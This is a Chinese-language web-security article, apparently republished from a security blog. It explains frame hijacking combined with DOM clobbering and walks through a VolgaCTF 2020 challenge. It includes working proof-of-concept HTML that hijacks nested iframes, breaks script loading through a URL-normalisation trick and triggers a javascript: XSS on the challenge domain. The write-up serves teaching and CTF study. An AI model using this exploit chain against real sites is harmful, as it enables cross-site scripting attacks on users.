浅析前端安全中的框架劫持漏洞
2020-04-08 17:59:12 Author: www.secpulse.com(查看原文) 阅读量:373 收藏

让我们先从《web之困》这本书第11章的一张图说起:

1.jpg

图中演示了一种叫做框架劫持(Frame Hijacking)的技术。

对此图进行简单复现:

http://attacker.me/a1.html:

<iframe id="iframe1" src="//attacker.me/a2.html"></iframe>
<iframe id="iframe2" src="//victim.me/v1.html"></iframe>

http://attacker.me/a2.html:

<body></body>
<script>
document.body.innerText = 'iframe 1: ' + location;
setTimeout(() => {
window.open("//attacker.me/fake.html", "private")
}, 3000);
</script>

http://victim.me/v1.html:

<p id='text'></p>
<iframe name="private" src="//victim.me/v2.html"></iframe>
<script>
document.getElementById('text').innerText = 'iframe2: ' + location;
</script>

http://victim.me/v2.html:

<body></body>
<script>
document.body.innerText = 'iframe3: ' + location;
</script>

http://attacker.me/fake.html:

<body></body>
<script>
document.body.innerText = 'fake page: '+ location;
</script>

打开http://attacker.me/a1.html:

2.jpg

3秒钟后,iframe3跳转到fake page:

3.jpg

实验结论:若发起跳转的页面和目标页面的某个上级页面同源,那么跳转是允许的。

同理,直接在 http://attacker.me/a1.html  父窗口发起跳转也是可以的。

这个结论用大白话说就是:当目标页面存在iframe嵌套时,内层iframe的location是可控的。

这东西有什么安全风险呢?浏览器地址栏始终是attacker.me,显然它是没有钓鱼的效果的。

那能否iframe3加载 javascript: 协议触发XSS呢?实验发现跨域时不行。

由于iframe3是iframe2的子页面,所以这里还可以在iframe3里做DomClobbering来污染iframe2里的变量。

让iframe3加载 http://attacker.me/poc.html,poc.html  中设置  window.name 作为clobbering的入口。

下面结合一个CTF中的案例来具体分析。

题目源码:

https://archive.q.2020.volgactf.ru/index.html:

<script src="./js/pages.js"></script>
<script>
$(window).on('hashchange', function(e) {
volgactf.activePage.location=location.hash.slice(1);
if(volgactf.pages[volgactf.activePage.location]) {
$('#page').attr('src',volgactf.pages[volgactf.activePage.location]);
$('.active').removeClass('active');
$('.nav-item > a:contains('+volgactf.activePage.location+')').addClass('active');
}
});
$(document).ready(function() {
if(location.hash.slice(1) != '2019') {
$(window).trigger('hashchange');
}
});
</script>

pages.js:

volgactf = {
pages: {
'2017': './html/2017.html',
'2018': './html/2018.html',
'2019': './html/2019.html'
},
activePage: {
location: 2019
}
};

简单解释下代码功能,index.html监听hashchange,一旦hash改变,就将hash赋值给 volgactf.activePage.location 变量,然后在数组 pages 内匹配出相应的值传给iframe进行加载。

代码看上去似乎没有问题,但关键在于这个特殊的变量 volgactf.activePage.location 。

如果 volgactf.activePage 是一个加载到a的页面,那么 volgactf.activePage.location=javascript:alert() 将触发a域下的XSS,这不难理解,我们经常这样用。

image.png

 volgactf.activePage 在pages.js已定义,所以要想覆盖它,必须得让pages.js加载失败。这里有2种方法实现:

一是利用浏览器和nginx对url规范化的差异:

请求 https://archive.q.2020.volgactf.ru/x/..%2F  时,nginx对url解码,实际请求到 https://archive.q.2020.volgactf.ru/  ;而浏览器认为 ..%2F 是个文件,所以最终拼接的js是  https://archive.q.2020.volgactf.ru/x/js/pages.js  。

二是利用斜线构造超长url:

请求 https://archive.q.2020.volgactf.ru////[.....]/////  ,使得  https://archive.q.2020.volgactf.ru////[.....]/////js/main.js  刚好触发414 Request-URI Too Large。

如果要在 volgactf.activePage.location 构造XSS,需要满足些什么条件:

  • volgactf.activePage 是一个加载到 archive.q.2020.volgactf.ru 域的iframe

  • 其父页面可以通过 volgactf.activePage 获取到这个iframe对象

开头的实验已经说了,当页面内存在iframe嵌套时,内层iframe的加载地址是可控的,只需要让它加载攻击者的poc.html,poc.html里放个 <iframe src=https://archive.q.2020.volgactf.ru/></iframe>  。条件1易满足。

如何让 volgactf.activePage 指向这个poc.html内的iframe呢?这里就需要用到DomClobbering了。

poc.html作为一个页面,实际是一个Window对象,window对象恰好有name属性可以用来clobbering。所以可以让window.name 为 volgactf,iframe的 name 或 id 为 activePage 。

为什么要用window.name而不用别的标签?因为用别的标签实际是注册变量到poc.html这个iframe内,而非其父页面内。

最终POC如下,

https://c6c7cec9.ngrok.io/exp/index.html:

<iframe src='https://archive.q.2020.volgactf.ru/x/..%2f'></iframe>
<script>
window.onload = () => {
// 这里也可以直接用data:协议创建iframe,而不引入poc.html
frames[0].frames[0].location = 'https://c6c7cec9.ngrok.io/exp/poc.html';
setTimeout(
// 这里只变hash,防止重新请求刷新页面
() => { frames[0].location = 'https://archive.q.2020.volgactf.ru/x/..%2f#javascript:alert(document.domain)' },
5000)
}
</script>

https://c6c7cec9.ngrok.io/exp/poc.html:

<iframe name=activePage src=https://archive.q.2020.volgactf.ru/></iframe>
<script>
window.name='volgactf';
</script>

4.jpg

最后回顾一下,我们通过DomClobbering获得了什么?仅仅是一个目标同域的iframe对象而已。

我们有可能clobbering出别的东西来吗?据我所知很有限,似乎只能clobbering出同域的iframe/object等对象,这应该和同源策略有关(欢迎指正)。

通过框架劫持+Dom Clobbering,我们在看似安全的代码中发现了XSS。这种技术都是在多年前的由《web之困》一书中的作者发现的,但实际漏洞案例较少,更多利用方式还有待发掘。

本文作者:少林功夫好啊

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/127532.html


文章来源: https://www.secpulse.com/archives/127532.html
如有侵权请联系:admin#unsafe.sh